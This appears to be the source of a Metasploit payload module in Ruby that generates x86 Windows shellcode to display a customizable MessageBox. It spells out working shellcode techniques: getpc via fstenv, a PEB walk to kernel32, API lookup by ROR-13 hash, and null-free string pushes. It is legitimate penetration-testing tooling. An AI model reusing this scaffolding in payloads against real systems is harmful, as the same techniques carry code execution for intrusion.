292 lines
8.6 KiB
Ruby
292 lines
8.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 272
|
|
|
|
include Msf::Payload::Windows
|
|
include Msf::Payload::Single
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Windows MessageBox',
|
|
'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon',
|
|
'Author' =>
|
|
[
|
|
'corelanc0d3r <peter.ve[at]corelan.be>', # original payload module
|
|
'jduck' # some ruby factoring
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
))
|
|
|
|
# Register MessageBox options
|
|
register_options(
|
|
[
|
|
OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ], max_length: 255),
|
|
OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ], max_length: 255),
|
|
OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ])
|
|
])
|
|
end
|
|
|
|
#
|
|
# Construct the payload
|
|
#
|
|
def generate(_opts = {})
|
|
|
|
strTitle = datastore['TITLE'] + "X"
|
|
if (strTitle.length < 1)
|
|
raise ArgumentError, "You must specify a title"
|
|
end
|
|
|
|
strText = datastore['TEXT'] + "X"
|
|
if (strText.length < 1)
|
|
raise ArgumentError, "You must specify the text of the MessageBox"
|
|
end
|
|
|
|
# exitfunc process or thread ?
|
|
stackspace = "0x04"
|
|
funchash = ""
|
|
doexitseh = ""
|
|
case datastore['EXITFUNC'].upcase.strip
|
|
when 'PROCESS'
|
|
stackspace = "0x08"
|
|
funchash = "0x73E2D87E"
|
|
when 'THREAD'
|
|
stackspace = "0x08"
|
|
funchash = "0x60E0CEEF"
|
|
end
|
|
|
|
# create exit routine for process / thread
|
|
getexitfunc = <<EOS
|
|
;base address of kernel32 will be at esp,
|
|
mov ebx,#{funchash}
|
|
xchg ebx, dword [esp]
|
|
push edx
|
|
call find_function
|
|
;store function address at ebx+08
|
|
mov [ebp+0x8],eax
|
|
EOS
|
|
|
|
doexit = <<EOS
|
|
xor eax,eax ;zero out eax
|
|
push eax ;put 0 on stack
|
|
call [ebp+8] ;ExitProcess/Thread(0)
|
|
EOS
|
|
|
|
# if exit is set to seh or none, overrule
|
|
if datastore['EXITFUNC'].upcase.strip == "SEH"
|
|
# routine to exit via exception
|
|
doexit = <<EOS
|
|
xor eax,eax
|
|
call eax
|
|
EOS
|
|
getexitfunc = ''
|
|
elsif datastore['EXITFUNC'].upcase.strip == "NONE"
|
|
doexit = <<-EOS
|
|
nop
|
|
EOS
|
|
getexitfunc = ''
|
|
end
|
|
|
|
# Generate code to get ptr to Title
|
|
marker_idx = strTitle.length - 1
|
|
strPushTitle = string_to_pushes(strTitle, marker_idx)
|
|
# generate code to write null byte
|
|
strWriteTitleNull = "xor ebx,ebx\n\tmov [esp+0x#{marker_idx.to_s(16)}],bl\n\tmov ebx,esp\n\t"
|
|
|
|
#================Process Text===============================
|
|
marker_idx = strText.length - 1
|
|
strPushText = string_to_pushes(strText, marker_idx)
|
|
strWriteTextNull = "xor ecx,ecx\n\tmov [esp+0x#{marker_idx.to_s(16)}],cl\n\tmov ecx,esp\n\t"
|
|
|
|
# generate code to set messagebox icon
|
|
setstyle = "push edx\n\t"
|
|
case datastore['ICON'].upcase.strip
|
|
#default = NO
|
|
when 'ERROR'
|
|
setstyle = "push 0x10\n\t"
|
|
when 'QUESTION'
|
|
setstyle = "push 0x20\n\t"
|
|
when 'WARNING'
|
|
setstyle = "push 0x30\n\t"
|
|
when 'INFORMATION'
|
|
setstyle = "push 0x40\n\t"
|
|
end
|
|
|
|
#create actual payload
|
|
payload_data = <<EOS
|
|
;getpc routine
|
|
fldpi
|
|
fstenv [esp-0xc]
|
|
xor edx,edx
|
|
mov dl,0x77 ;offset to start_main
|
|
|
|
;get kernel32
|
|
xor ecx,ecx
|
|
mov esi, [fs:ecx + 0x30]
|
|
mov esi, [esi + 0x0C]
|
|
mov esi, [esi + 0x1C]
|
|
next_module:
|
|
mov eax, [esi + 0x08]
|
|
mov edi, [esi + 0x20]
|
|
mov esi, [esi]
|
|
cmp [edi + 12*2], cl
|
|
jne next_module
|
|
|
|
pop ecx
|
|
add ecx,edx
|
|
jmp ecx ;jmp start_main
|
|
|
|
find_function:
|
|
pushad ;save all registers
|
|
mov ebp, [esp + 0x24] ;put base address of module that is being loaded in ebp
|
|
mov eax, [ebp + 0x3c] ;skip over MSDOS header
|
|
mov edx, [ebp + eax + 0x78] ;go to export table and put relative address in edx
|
|
add edx, ebp ;add base address to it.
|
|
;edx = absolute address of export table
|
|
mov ecx, [edx + 0x18] ;set up counter ECX
|
|
;(how many exported items are in array ?)
|
|
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
|
|
add ebx, ebp ;add base address to it.
|
|
;ebx = absolute address of names table
|
|
|
|
find_function_loop:
|
|
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
|
|
;(should never happen)
|
|
;unless function could not be found
|
|
dec ecx ;ecx=ecx-1
|
|
mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
|
|
;with the current symbol
|
|
;and store offset in esi
|
|
add esi, ebp ;add base address.
|
|
;esi = absolute address of current symbol
|
|
|
|
compute_hash:
|
|
xor edi, edi ;zero out edi
|
|
xor eax, eax ;zero out eax
|
|
cld ;clear direction flag.
|
|
;will make sure that it increments instead of
|
|
;decrements when using lods*
|
|
|
|
compute_hash_again:
|
|
lodsb ;load bytes at esi (current symbol name)
|
|
;into al, + increment esi
|
|
test al, al ;bitwise test :
|
|
;see if end of string has been reached
|
|
jz compute_hash_finished ;if zero flag is set = end of string reached
|
|
ror edi, 0xd ;if zero flag is not set, rotate current
|
|
;value of hash 13 bits to the right
|
|
add edi, eax ;add current character of symbol name
|
|
;to hash accumulator
|
|
jmp compute_hash_again ;continue loop
|
|
|
|
compute_hash_finished:
|
|
|
|
find_function_compare:
|
|
cmp edi, [esp + 0x28] ;see if computed hash matches requested hash
|
|
; (at esp+0x28)
|
|
;edi = current computed hash
|
|
;esi = current function name (string)
|
|
jnz find_function_loop ;no match, go to next symbol
|
|
mov ebx, [edx + 0x24] ;if match : extract ordinals table
|
|
;relative offset and put in ebx
|
|
add ebx, ebp ;add base address.
|
|
;ebx = absolute address of ordinals address table
|
|
mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
|
|
mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
|
|
add ebx, ebp ;add base address.
|
|
;ebx = absolute address of address table
|
|
mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal
|
|
;and put in eax
|
|
add eax, ebp ;add base address.
|
|
;eax = absolute address of function address
|
|
mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad
|
|
;will return function address in eax
|
|
find_function_finished:
|
|
popad ;restore original registers.
|
|
;eax will contain function address
|
|
ret
|
|
|
|
start_main:
|
|
mov dl,#{stackspace}
|
|
sub esp,edx ;allocate space on stack
|
|
mov ebp,esp ;set ebp as frame ptr for relative offset
|
|
mov edx,eax ;save base address of kernel32 in edx
|
|
|
|
push 0xEC0E4E8E ;get LoadLibrary function ptr
|
|
push edx
|
|
call find_function
|
|
;put function address on stack (ebx+04)
|
|
mov [ebp+0x4],eax
|
|
#{getexitfunc} ;optionally get selected exit function ptr
|
|
|
|
;put pointer to string user32.dll to stack
|
|
push 0x41206c6c
|
|
push 0x642e3233
|
|
push 0x72657375 ;user32.dll
|
|
xor bl,bl ;make sure we have a null byte
|
|
mov [esp+0xA],bl ;null byte
|
|
mov esi,esp ;put pointer to string on top of stack
|
|
push esi
|
|
call [ebp+0x4] ;call LoadLibrary
|
|
; base address of user32.dll is now in eax (if loaded correctly)
|
|
mov edx,eax ;put ptr in edx
|
|
push eax ;put it on stack as well
|
|
;find the MessageBoxA function
|
|
mov ebx, 0xBC4DA2A8
|
|
xchg ebx, dword [esp] ;esp = base address of user32.dll
|
|
push edx
|
|
call find_function
|
|
;function address should be in eax now
|
|
;we'll keep it there
|
|
;get pointer to title
|
|
#{strPushTitle}
|
|
#{strWriteTitleNull} ;ebx will point to title
|
|
;get pointer to text
|
|
#{strPushText}
|
|
#{strWriteTextNull} ;ecx will point to text
|
|
|
|
;now push parameters to the stack
|
|
xor edx,edx ;zero out edx
|
|
#{setstyle} ;set button/iconstyle on stack
|
|
push ebx ;put pointer to Title on stack
|
|
push ecx ;put pointer to Text on stack
|
|
push edx ;put 0 on stack (hWnd)
|
|
call eax ;call MessageBoxA(hWnd,Text,Title,Style)
|
|
|
|
;EXITFUNC
|
|
#{doexit}
|
|
EOS
|
|
self.assembly = payload_data
|
|
super
|
|
end
|
|
|
|
#
|
|
# Turn the provided string into a serious of pushes
|
|
#
|
|
def string_to_pushes(str, marker_idx)
|
|
# Align string to 4 bytes
|
|
rem = (marker_idx+1) % 4
|
|
if (rem > 0)
|
|
str << " " * (4 - rem)
|
|
end
|
|
|
|
# string is now 4 byte aligned and ends with 'X' at index 'marker_idx'
|
|
|
|
# push string to stack, starting at the back
|
|
pushes = ''
|
|
while (str.length > 0)
|
|
four = str.slice!(-4, 4)
|
|
dw = four.unpack('V').first
|
|
pushes << "push 0x%x\n\t" % dw
|
|
end
|
|
|
|
pushes
|
|
end
|
|
end
|